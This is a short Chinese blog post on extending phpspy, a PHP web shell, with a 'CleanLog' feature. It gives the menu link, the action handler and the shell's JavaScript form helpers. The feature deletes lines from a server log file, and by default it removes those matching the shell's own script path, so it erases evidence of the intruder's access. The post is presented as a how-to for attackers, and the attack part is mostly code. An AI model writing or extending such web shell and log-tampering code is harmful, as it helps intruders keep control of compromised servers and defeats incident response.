phpspy diy

//==============自己添加一个新的功能, 在300行左右。  并将自定义的函数放到文件最后面的函数库里面
<a href="javascript:g('clean_log',null,'','','','','<?php echo $charset;?>');">CleanLog</a> |

//===========900行左右添加相应操作 (如, 简单的清理日志功能)
elseif ($act == 'clean_log')
{

    formhead(array('title'=>'CleanLog', 'onsubmit'=>'g(\'clean_log\',null,this.p1.value,this.p2.value);return false;'));

    echo '<b>Logfile can not  be too large, 30M will be fine <b><br/>';
    echo 'Logfile Path';
    makeinput(array('title'=>' ','name'=>'p1','value'=>$command));
    p('</br>');
    echo 'Str2del';
    makeinput(array('title'=>' ','name'=>'p2','value'=>$_SERVER['PHP_SELF']));
    p('</br>');
    makeinput(array('class'=>'bt','type'=>'submit','value'=>'clean'));
    formfoot();

    if ($P['p1'])  //如果填入了命令, 即表格中的value不为空
        {
            //echo $command;
             clean_log($P['p1'],$P['p2']);
        }
}




//==========关键php函数
formhead($arg = array())
//创建表格

function makeinput($arg = array())
//创建<input type=text name=clean size=100>之类的项

function makehide($name,$value='')
//创建隐藏参数项

function formfoot()
//输出 </form>


//=========关键js函数
function $(id)
    {
        return document.getElementById(id);
    }


function s(act,cwd,p1,p2,p3,p4,charset)
    {
        if(act != null) $('opform').act.value=act;
        if(cwd != null) $('opform').cwd.value=cwd;
        if(p1 != null) $('opform').p1.value=p1;
        if(p2 != null) $('opform').p2.value=p2;
        if(p3 != null) $('opform').p3.value=p3;
        if(p4 != null) {$('opform').p4.value=p4;}else{$('opform').p4.value='';}
        if(charset != null) $('opform').charset.value=charset;
    }


function g(act,cwd,p1,p2,p3,p4,charset)
    {
        s(act,cwd,p1,p2,p3,p4,charset);
        $('opform').submit();
    }

评论
© WinExec|Powered by LOFTER